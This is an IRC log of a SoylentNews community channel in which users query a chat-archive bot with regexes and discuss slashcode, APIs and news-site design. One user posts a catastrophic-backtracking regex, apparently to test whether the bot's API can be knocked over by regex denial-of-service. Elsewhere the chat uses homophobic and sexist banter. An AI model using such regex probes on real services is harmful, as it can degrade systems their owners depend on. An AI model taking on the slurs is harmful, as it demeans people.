[21:38:58] <Bender> Added quote 503
[21:39:01] <chromas> Bender: grab Cyprus
[21:39:01] <Bender> Added quote 504
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[21:39:20] <Cyprus> i feel like some old latin speaking cardinal
[21:39:35] <Cyprus> no one speaks it anymore, i just get strange looks when i use esoteric prce
[21:39:49] <crutchy> they're prolly just worries about you with their sons
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[21:40:14] <Cyprus> i get even weirder looks when im like "eh its cause i know perl
[21:40:19] <Cyprus> like that makes it worse
[21:40:21] <chromas> a cardinal would be doing other things with Bobby Tables
[21:40:34] <crutchy> perl necklaces for one
[21:40:43] <chromas> pentesting
[21:40:44] <Cyprus> mmmm llama
[21:40:50] <chromas> a tama llama
[21:40:58] <crutchy> ping pong
[21:41:39] <crutchy> ~count message=vibrating rooster sammich
[21:41:42] <exec> 0313
[21:41:47] * chromas sends the feds in after Cyprus to abduct him and/or her into the soylent dev team
[21:42:26] <crutchy> they have lightsabers with crossbars
[21:42:37] <crutchy> (not the feds, the dev team)
[21:42:52] <Cyprus> see if this one works ~count message=(^([a-z0-9]+)+$)
[21:43:00] <Cyprus> =P
[21:43:01] <chromas> ~count message=(^([a-z0-9]+)+$)
[21:43:04] <exec> 0326900
[21:43:08] <Cyprus> meh
[21:43:17] <chromas> ~count message=(^([a-z0-9]+)+$) channel=
[21:43:23] <exec> 03228727
[21:43:24] <crutchy> ~count channel=
[21:43:35] <exec> 034042080
[21:44:08] <chromas> ~count channel=##altslashdot
[21:44:10] <Cyprus> oh i see
[21:44:10] <exec> 0343169
[21:44:14] <crutchy> chromas++ # cos my lappy would prolly fall off the table with 4 million records
[21:44:14] <Bender> karma - chromas: 104
[21:44:23] <Cyprus> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[21:44:50] <chromas> is that a test or a scream?
[21:44:53] <chromas> or a test scream
[21:44:55] <crutchy> ~count nick=chromas
[21:44:58] <exec> 0330822
[21:45:10] <chromas> ~count type=action
[21:45:12] <exec> 0319780
[21:45:19] <crutchy> ~count butt=ctl
[21:45:23] <exec> 03460391
[21:45:29] <chromas> ~count message=nograb
[21:45:32] <exec> 03105
[21:45:45] <crutchy> ~count
[21:45:47] <exec> 03Parameters: op [random,first,last,all,count] message regex to match channel limit scope to a channel since, until date/time range limit maximum records to return; default is 1 nick limit scope to a nick out [json, php, tab, irc] debug show the query and whatever else type [message,action]
[21:45:49] <crutchy> derp
[21:45:57] <chromas> I should make that irc-friendly
[21:46:12] <crutchy> does it just ignore invalid GET parameters i guess?
[21:46:18] <chromas> it's weird though 'cause ~count should set the op parameter
[21:46:39] <crutchy> oh nah i think that's my scropt doing that
[21:46:45] <crutchy> empty trailing
[21:46:55] <chromas> I think the only thing it checks is op=; if it's not set then it shows help
[21:47:09] <chromas> laziness++
[21:47:09] <Bender> karma - laziness: 2
[21:47:25] <chromas> ~count message=.*\+\+
[21:47:28] <exec> 0311305
[21:47:43] <chromas> ~count message=\+\+$
[21:47:45] <exec> 039418
[21:48:18] <crutchy> ~count message=^~.*
[21:48:20] <exec> 036498
[21:48:43] <chromas> Bender needs a regex-based grab
[21:49:08] <chromas> !rgrab regex
[21:51:17] <chromas> ~count message=https?://
[21:51:20] <exec> 0319151
[21:51:42] <chromas> or should it be http[s?]
[21:52:06] <crutchy> ~count message=the camel
[21:52:10] <exec> 038
[21:52:35] <chromas> ~count TB/s=400
[21:52:40] <exec> 03460420
[21:53:00] <chromas> ~count
[21:53:01] <exec> 03Parameters: op [random,first,last,all,count] message regex to match channel limit scope to a channel since, until date/time range limit maximum records to return; default is 1 nick limit scope to a nick out [json, php, tab, irc] debug show the query and whatever else type [message,action]
[21:53:02] <crutchy> holey shitter.. pj and mcbp been on an issue-closing rampage
[21:53:36] <chromas> Apparently they're slavin' away to get ready to switch to rehash
[21:53:46] <crutchy> awesome
[21:53:53] <arti> rehash is a different platform?
[21:53:55] <crutchy> will be like te old days again :D
[21:54:00] <chromas> arti: hah
[21:54:07] <crutchy> mod_perl2
[21:54:09] <crutchy> i think
[21:54:12] <chromas> it's the new name for their fork
[21:54:14] <arti> rehash to me is a feature where you refresh shiz
[21:54:15] <arti> ah
[21:54:23] <chromas> yeah, finally running on something modern
[21:54:28] <arti> cool!
[21:54:48] <chromas> well, they do have to fix unicode again so
[21:54:54] <chromas> yeah, the effort's a rehash too :D
[21:56:07] <Cyprus> mod_perl2 != modern
[21:56:07] <arti> unicode can never be fixed :P
[21:56:27] <chromas> modern compared to apache1 though
[21:56:31] <Cyprus> mod_perl2 = less ancient
[21:56:39] <chromas> m-more moderner
[21:57:00] <Cyprus> we've moved from discovering fire to discovering iron working
[21:57:32] <chromas> Slow down, there, cowboy! Tech moving too fast
[21:57:42] <Cyprus> maybe broze working
[21:57:46] <Cyprus> *bronze
[21:57:53] <arti> you're free to examine the code, quite a feat
[21:58:12] <arti> the structure of slash is pretty... organic
[21:58:33] <chromas> we could switch to pipecode; then crutchy could be a lading devc
[21:59:18] <Bender> [SoylentNews] - Steam Now Offering Paid Workshop Mods - http://sylnt.us - finally-getting-paid-for-work
[21:59:31] <chromas> ladling
[21:59:51] <crutchy> i could be leading bug-creator :)
[22:00:29] <arti> he didn't say no!
[22:00:42] <arti> cool steam feature :D
[22:00:46] <crutchy> crutchy: "yay wackery hackery" chromas: "omg wtf has he borked now!?"
[22:00:58] <arti> testing son.
[22:01:09] <chromas> I probably wouldn't notice until Bender stopped updating
[22:01:19] <arti> for anything complex it's worth its weight in gold
[22:01:32] <crutchy> automated_testing++
[22:01:32] <Bender> karma - automated_testing: 1
[22:01:52] <arti> it's like working out, it's not fun doing it, but it gets results
[22:01:56] <chromas> Dice tatught me that the audience can be the testes
[22:02:09] <crutchy> i think that was microsoft
[22:02:13] <arti> dice is doing the battlefront game.
[22:02:14] <Cyprus> adding automated testing to slashcode would first require fixing what would not pass
[22:02:22] <Cyprus> which is just about everything
[22:02:24] <chromas> and when they say "no!" then I just hold onto it for a few months then try again without changing anything
[22:02:33] <arti> it would be better served on a new platform
[22:02:38] <Cyprus> i mean the database module does post formatting
[22:02:45] <arti> seems like quite a feat to do so now
[22:03:15] * chromas nominates pipecode
[22:03:21] <Cyprus> mocking the interfaces for proper module testing would be *hilarious*
[22:03:41] <crutchy> i'm having a go at some testing code for Bytram, but i'm not sure exactly what he wants to test yet
[22:03:57] <Cyprus> "did /. explode this change?"
[22:04:01] <crutchy> he might have told me at some point but it got lost in the scrollback while i was wackery hackering
[22:04:06] <Cyprus> if no, block submit heh
[22:04:24] <chromas> ~random nick=Bytram message=^crutchy:
[22:04:29] <exec> 03[2015-02-22 03:09:4] #Soylent <Bytram> crutchy: yes, just plain text. I knew what I meant, but failed to make it explicit.
[22:04:52] <crutchy> ergh. fucking bagpipes
[22:05:00] <crutchy> anzac day today
[22:05:06] <crutchy> 100 years
[22:05:11] <chromas> ~define anzac day
[22:05:14] <exec> [urbandictionary] 03anzac day: 25th April every year. In canberra in the morning theres a dawn service which i've never been to. But then there's a country wide march, which almost everyone goes to, to remember the soldjers...
[22:05:33] <crutchy> those jers were definitely sold
[22:05:49] <chromas> yeah but they get obnoxious muzak
[22:06:06] <chromas> "If I weren't dead I'd kill myself"
[22:06:16] * crutchy has nfi what bagpipes has to do with anzac
[22:06:35] <chromas> they do it for cops too, at least on tv
[22:06:40] <chromas> always the same shitty song though
[22:06:56] <crutchy> its like listening to my missus at that time of the month
[22:07:16] <chromas> pull the string
[22:07:35] <crutchy> if you dare
[22:08:38] <chromas> \~all nick=crutchy message=missus > letter_to_crutchy's_wife.txt
[22:08:46] <crutchy> https://www.youtube.com
[22:08:47] <MrJefferson> ^ 03Libra invisible pads - TV ad. - YouTube
[22:10:14] <chromas> "Cool pad, bro"
[22:11:07] <Cyprus> and todays random link goes to... http://www.google.com
[22:11:07] <MrJefferson> ^ 03Redirecting ( http://www.amazon.com )
[22:12:16] <Cyprus> like... what?
[22:18:09] <crutchy> MrJefferson++
[22:18:09] <Bender> karma - mrjefferson: 1
[22:18:19] <crutchy> for unfucking google links
[22:18:30] <chromas> except for the title
[22:18:48] <crutchy> cos google really is that lame
[22:19:10] <crutchy> !g gay monkey tree
[22:19:11] <ciri> 631,000 results | Waxy Monkey Tree Frog by Garry Gay - Fine Art America @ http://fineartamerica.com | The Intoxicating Marula Trees of South Africa - YouTube @ http://www.youtube.com | Monkey Jokes - Yuks'R'Us! @ http://www.yuksrus.com | Words for Life - Kookaburra Sits In The Old Gum Tree @
[22:19:12] <ciri> http://www.wordsforlife.org.uk | Children - Aba Daba Honeymoon Lyrics | MetroLyrics @ http://www.metrolyrics.com
[22:19:24] <crutchy> aw :/
[22:19:40] <Cyprus> yeah sorry, didn't mean to googlify that link
[22:19:43] <Cyprus> it came out of hangouts
[22:19:43] <crutchy> ciri has a truckload of commands
[22:19:56] <crutchy> google's fault for being ghey
[22:20:21] <Cyprus> not exactly
[22:20:29] <crutchy> bing doesn't do that
[22:20:47] <Cyprus> i mean't more that it's google's fault, instead of say hangout's fault
[22:21:17] <chromas> hangouts-- # 'cause they stole google talk
[22:21:17] <Bender> karma - hangouts: -1
[22:21:18] <crutchy> oh yeah that too
[22:21:45] * Cyprus misses google talk
[22:21:52] <crutchy> bing++ # for not being ghey like google with search result links
[22:21:52] <Bender> karma - bing: 1
[22:22:06] <chromas> You can still hit talk with pidgin or other jabber clients
[22:22:15] <Cyprus> i thought xmpp was turned down?
[22:22:18] <chromas> doesn't do file transfers and stuff but I don't think that ever worked
[22:22:33] <chromas> They turned off federation for awhile
[22:22:48] <Cyprus> the main thing i had to switch for was group chats, then video
[22:22:49] * chromas notes facebook chat is also accessible by xmpp
[22:22:57] <Cyprus> ewwww facebook
[22:23:21] <chromas> so even though support is half-assed, jabber has pretty much taken over instant messaging
[22:24:12] <crutchy> is there anything on slashcode.org about soylent?
[22:24:28] <crutchy> or is it slashcode.com?
[22:24:48] <mrcoolbp> http://slashcode.com
[22:24:50] <MrJefferson> ^ 03Slashcode: Slash Open Source Project
[22:25:01] <Cyprus> jabber using what service?
[22:25:16] <mrcoolbp> last post on slashcode.com was on October 1st, 2009
[22:27:36] <crutchy> hehe. search is borked: http://www.slashcode.com
[22:27:37] <MrJefferson> ^ 03Encountered a 404 error
[22:27:57] <chromas> search has always been borked on slash as far as I've ever seen
[22:28:04] <chromas> also newsforge seems to be gone
[22:29:03] <crutchy> should build a news aggregation site with just an api, and then see who wins the client development contest
[22:29:52] <chromas> crutchy++
[22:29:52] <Bender> karma - crutchy: 166
[22:30:14] <chromas> people can make web-based ones too
[22:30:19] <crutchy> yeah
[22:30:32] <chromas> while you're at it, make the service p2p instead of a website :D
[22:31:03] <crutchy> that would be cool
[22:31:22] <crutchy> SoylentNapster
[22:31:58] <chromas> Hosting — solved
[22:32:18] <chromas> APK laments
[22:32:40] <crutchy> could also be a tor client called SilkNews
[22:32:46] <chromas> Maybe make a p2p version of usenet
[22:32:51] <chromas> lol
[22:32:52] <ciri> hahaha
[22:33:10] <chromas> SilkNews: Spin it Your Way
[22:36:07] <mrcoolbp> Crutchy: TheMightyBuzzard is working on the api for soylent no ?
[22:37:15] <chromas> Yeah but think of the complexity saved if it only had an api
[22:37:46] <chromas> The web part could be a separate dev team
[22:40:43] <Cyprus> i think they call that usenet
[22:41:20] <chromas> does usenet have comment mods and subscription stars?
[22:41:37] <Cyprus> those are ui functions
[22:41:50] <arti> usetnet itself?
[22:41:58] <arti> i've seen aggregators with those features
[22:42:11] <arti> some of them anyway
[22:43:21] <crutchy> there could still be a soylentnews client hosted on the same cluster as the api server. i guess that would win the performance medal
[22:44:01] <Cyprus> considering the way the code is written, i think we're talking about slashcode and the database =)
[22:44:23] <crutchy> the db isn't really an api though
[22:44:36] <Cyprus> the db layer isn't really one either
[22:44:38] <Cyprus> shrug
[22:44:53] <crutchy> i guess it could be. that would be the simplicity that chromas was talking about :p
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[22:45:14] <Cyprus> the only simplicity that will work is "kill it with fire"
[22:45:20] <crutchy> prolly want options for output format
[22:45:49] <chromas> the devs are possessed by the fire though
[22:46:01] <chromas> SoylentFlames
[22:50:39] <crutchy> i like the api so far for its irc uses
[22:50:50] <crutchy> haven't got all features though
[22:50:55] <crutchy> (in exec script)
[22:51:03] <crutchy> ~api
[22:51:05] <exec> http://wiki.soylentnews.org
[22:52:13] <crutchy> hmm. actually now i guess it sorta does-ish
[22:53:23] <crutchy> ~api m=journal op=single id=204
[22:53:26] <exec> 02{"description":"Call for Security Experts: Auditing Slashcode ...","id":"204","last_update":"2014-03-19 18:49:15","discussion":"744","promotetype":"publish","article":"We've recently had a credible threat made against the site w.r.t. to a security exploit on slash. While details are somewhat vague, what little information was posted, combined with my knowledge of slash, and reviewing old security
[22:53:43] <crutchy> need to format a bit better for irc
[22:54:40] <arti> i see json
[22:54:53] <arti> wait
[22:54:56] <Cyprus> not sure it's json, looks unescaped
[22:54:56] <arti> no []
[22:55:46] <Cyprus> not sure what that is
[22:56:03] <crutchy> json
[22:56:32] <crutchy> https://dev.soylentnews.org
[22:59:35] <chromas> looks right on me end
[23:00:02] <chromas> me ook. how you?
[23:02:09] * crutchy prefers php serializing
[23:02:41] <crutchy> datatype and string length sort of like a checksum
[23:05:21] <Cyprus> im always scared of control characters inline
[23:06:15] <SirFinkus> "We've recently had a credible threat made against the site w.r.t. to a security exploit on slash. While details are somewhat vague, what little information was posted, combined with my knowledge of slash, and reviewing old security..." 400TB DDOS
[23:06:22] <SirFinkus> THERE IS NO DEFENSE
[23:09:24] <crutchy> need to change to rfc8008135
[23:09:33] <crutchy> bewbtp://
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[23:18:11] * juggs jiggles
[23:20:41] * JamesNZ giggles
[23:21:04] * takyon wiggles
[23:22:32] * crutchy farts
[23:32:34] <mrcoolbp> you ruined it crutchy
[23:35:13] <SirFinkus> https://www.youtube.com
[23:35:15] <SirFinkus> I found gold
[23:35:16] <MrJefferson> ^ 03Microsoft Surface gets major product placement in Suburgotary - YouTube
[23:38:43] <chromas> Why are there tampon applicators in the park?
[23:38:48] <crutchy> ~define suburgotary
[23:38:58] <crutchy> lol chromas would notice that :p
[23:38:59] <ciri> it's not that funny :)
[23:39:00] <exec> suburgotary: unable to find definition